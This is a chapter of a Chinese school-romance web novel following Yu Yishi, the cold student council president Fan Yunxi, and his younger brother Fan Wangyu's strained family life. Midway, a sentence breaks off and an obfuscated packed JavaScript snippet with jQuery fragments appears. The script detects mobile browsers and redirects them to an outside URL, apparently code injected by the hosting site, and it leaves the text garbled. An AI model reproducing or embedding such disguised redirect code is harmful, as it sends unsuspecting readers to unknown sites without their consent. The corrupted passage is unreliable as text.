距下午放学已经过了半个小时。
空落落的教室里,只剩李书余一人还对着试卷抓耳挠腮。
就在他愈渐浮躁之时,一盒文件蓦地被放在他面前,同时头顶响起俞一诗自信的声音:
“这一题,选B。”
“真的假的?”李书余将信将疑地抬头,“你该不会在耍我吧?”
“怎么可能!”俞一诗一撩头发,无比骄傲地仰起下巴,“自从我当上班主任的跑腿小弟后,老师对我的指导也比平时多了,这,就叫做因祸得福!你就等着看我期中排名吧,那上升速度,绝对比坐火箭还牛!”
李书余冷哼一声:“说白了你就是甘为走狗了呗。”
“什么走狗,说话真难听!”俞一诗叉腰指责道,“我这种叫扮猪吃老虎,而且人家是老师,又不是奴隶主!既然能提高成绩为什么不去做,总不能一直颓废下去吧?不然明年要怎么考上大学啊?”
“要你管,你又不是我妈。”李书余凉凉道,“你有这闲心教育我,不如去管管学校里关于你的那些流言蜚语吧,我还听过有人说……”
俞一诗眉毛微竖,抱起文件掉头就走:“我不想听。”
“哦,为什么?”李书余托腮好奇地问。
“我已经不关心那些东西了,它们根本动摇不了我。”
踏出教室的脚步一顿,俞一诗眼神坚定,“我是什么样的人由我说了算,犯不着把精力浪费在这些无谓的流言上,我可没那闲工夫。”
“……”
望着她走出教室,李书余似是若有所思。
行政楼长廊。
俞一诗在学生会门前数了数资料,确认没出错后,她才敲响了办公室的大门。
“进来。”
这声音?……
俞一诗怔了怔,同时小心翼翼地把门推开。
落地窗下,樊昀熙背靠皮椅,正独自坐在实木桌前审阅文件。
他此时稍侧着头,黑短发整齐梳起,仿佛每根发丝都已被打理至一丝不苟。
直到这一刻,俞一诗才真正得以观察这位传闻中的人物——
樊昀熙的眉眼同樊望宇颇为相似,但与有点狗狗眼的弟弟相比,这位哥哥的眼睛更偏细长,眉峰也更为硬朗锋利,这也使得他看人的目光尤为冷冽。
“会长你好,我是来送材料的。”
俞一诗勉强地笑了笑,把文件放到他桌前,后退两步就想转身离开。
“等等。”
“咦?”猝不及防被叫住,俞一诗诧异地回头看他。
“最近总见你来学生会。”樊昀熙将文件推至一边,用手背托住下巴直视她,沉静的眼底看不出任何情绪,“你叫什么名字,是哪班的?”
“高二(4)班……俞一诗。”她讷讷地回答。
“是吗?”樊昀熙复又低下了头,“你走吧。”
“哦……”
俞一诗松了口气,快步离开,等到关上办公室办公室门后,她才算彻底放下戒备心。
经此照面,她大概理解为何有这么多人惧怕樊昀熙了。
并非他为人冷漠,也并非什么家族势力,真正让人心生畏惧的,是樊昀熙那种不带任何感情,仿佛只在衡量一件物品价值的审视眼神。
这种眼神莫名令人生厌。
俞一诗想到这里,不禁暗自庆幸樊望宇生长在这种环境下,非但没有长歪,还能保持那么可爱的性格,真是太太太了不起了!……
“阿嚏!”
樊望宇在家中打了个喷嚏,不禁困惑地揉揉鼻尖,心说是不是在野餐时被传染感冒了?
“望宇少爷。”
他的房门这时被管家敲响了。
“怎么了?”樊望宇顺手将手里的小说放在桌上,“请问有什么事吗,钟叔?”
被唤为钟叔的管家将一张表单交给了樊望宇:“根据老爷要求,我整理了今年回籍祭祖的行程表,请您收好。”
“谢谢。”樊望宇接过表单扫了一眼,“今年也和去年流程差不多吧?”
“是的,只是烧香的顺序有点变化。”
“……”
樊望宇看着眼前这位深色西装的中年男人,莫名有些微微发愣。
从他记事起,钟管家就已经在樊家工作了。
这个人做事始终慢条斯理、谨小慎微,除了探亲和年假,几乎没见他离开过樊家,就这么十年如一日地干着差不多的活,真不知他是否还有自己的人生。
除了爷爷和老爸,就只剩钟管家最清楚樊家的旧事了,如果能从他嘴里问出点东西……
“请问还有什么疑问吗,望宇少爷?”
见樊望宇一动不动盯着自己,钟管家面色平静地问。
“哦,没有了。”樊望宇恍然回过神,半晌,忽然试探性地问道,“这一次祭祖……爷爷他会去吗?”
钟管家不露声色地默然几秒,才缓缓回答:“不会,老太爷他身体欠佳,需要专心疗养,不宜舟车劳顿。”
“行,我知道了。”樊望宇只好尴尬地一笑,“我会安排好时间,辛苦你了!”
“有什么要修改的再找我。”
钟管家对他点了点头,直接离开房间。
然而就在此时,刚回家的樊昀熙正好路过走廊,他一侧脸,一下子就与樊望宇四目相对。
樊望宇见樊昀熙正看着自己,于是开口轻唤:“大哥。”
“唔。”樊昀熙淡然应了一声,转身往电梯方向走去。
……啧,这人为什么整天一副鬼样子,天天端着冷脸不累吗?
面对樊昀熙的背影,樊望宇默默冷眼鄙夷。
随着走廊的脚步声渐行渐远,整个樊宅再度归于沉寂。
拿着行程表,樊望宇发了好一会儿呆,最后唯有捂脸叹口气:
“唉……”
问不出口。
他怎么会这么没用?
樊望宇沮丧地垂着头,忍不住在心底埋怨:不说樊昀熙,钟管家也是从小看着自己长大的,为什么相处十几年,他们还是像刚认识的陌生人一样,连多一句闲话都说不出来呢?
无聊透顶!
樊望宇无力地靠到椅背上。
百无聊赖中,他又拿起行程单细看了起来——几号出发,搭哪班次飞机,住哪里,何时去往宗祠,该穿什么,该说什的,该干什么,全规定得一清二楚。
每一个字仿佛都在警告着他,只可遵循,不可越过。
多么详尽的规划。
详尽到让人厌恶。
不知不觉间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023267|187289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,樊望宇想起了在竹青那段随心所欲的日子。
一诗虽然跟陆家关系说不上太好,但至少还有陆善文愿意陪她说说笑笑,哪像自己,家里面每个人都阴着一张脸,回个家搞得跟上坟似的。
他的思绪恍恍惚惚飘至了远方。
不想回房间,不想吃晚饭,更不想踏进家门。要是能早点脱离这座牢笼就好了,到那时候,他应该就能真正建立一个属于自己的家,然后和一诗……
樊望宇猛然发觉自己又在想入非非,立即红着脸摇摇头,把那些厚颜无耻的想法按下去:不行!不能再有这种念头了,不然等哪天又说漏了嘴,把她给惹反感了怎么办!
而且……
思及此处,樊望宇的眸光骤然黯淡下来。
而且,他根本没有能力,也没有勇气在将来向樊家公开这段感情。
比起害怕来自家人的压力,他更害怕一诗会因此再度疏远自己,如今的他,早已再无力承受失去那个女孩的后果。
到底该怎么做,才能不辜负自己,也不让一诗受到伤害呢?
难道真的要这样一直忍到毕业吗?
一诗愿意等他吗?
樊望宇在茫然间,不知不觉摸出了手机,盯着屏幕上那已经可以倒背如流的电话号码,他眼神逐渐变得轻软且温和——
一诗……你现在在做什么呢?
陪他说说话好吗?
……
“我在研究菜谱呢,灵娜!”
俞一诗拿着手机,翻开自己满当当的笔记本,兴高采烈地对何灵娜道,“经过深入研究,我已经掌握了做菜的诀窍,很快你们就能吃到我亲手制作的满汉全席啦,哈哈哈!”
“是……是吗?”何灵娜嘴角抽搐地笑笑,“我觉得你还是别再研究比较好哦。”
“不要对我失去信心嘛!”俞一诗着急道,“我是真的很想在家办一次派对,就是能让大家一起开心做饭的那种!”
“可你家装不下这么多人啊,又没有厨房,怎么做饭?”
俞一诗伤脑筋地挠头:“我也在苦恼这个问题,如果能借到一个厨房就好了……等等,有了!”
“哦?”
“我怎么就没想到呢,可以向房东借厨房呀!”俞一诗越说越兴奋,“赫阿姨一个人住,总跟我说想孩子了,到时候把望宇,祝少,程云他们都叫来吧,正好借这个机会大家热闹一下!赫阿姨一定也会高兴的!”
“你这么说的话,该不会……”
何灵娜一怔,顿时气血上涌,捂住嘴巴激动异常:这是要开启四个人的修罗场了?受不了,好期待!
打起来打起来!
“灵娜?”见电话那头久久不回,俞一诗心感疑惑,不禁怀疑这个决定是否存在不妥,“你怎么了,是不是把他们都叫过来不太好……”
“不,非常好!”何灵娜斩钉截铁地打断她的话,“你一定要叫他们过来!一定!必须!全部都来!”
“呃,是吗?”俞一诗被她吓一大跳,傻愣愣地僵笑,“那、那有机会我们再约吧?”
“约!快约!马上约!”
何灵娜挂了电话,眸光有如星星闪耀,脸上洋溢满亢奋与悸动的红晕。
这才是!
令人垂涎的满汉全席!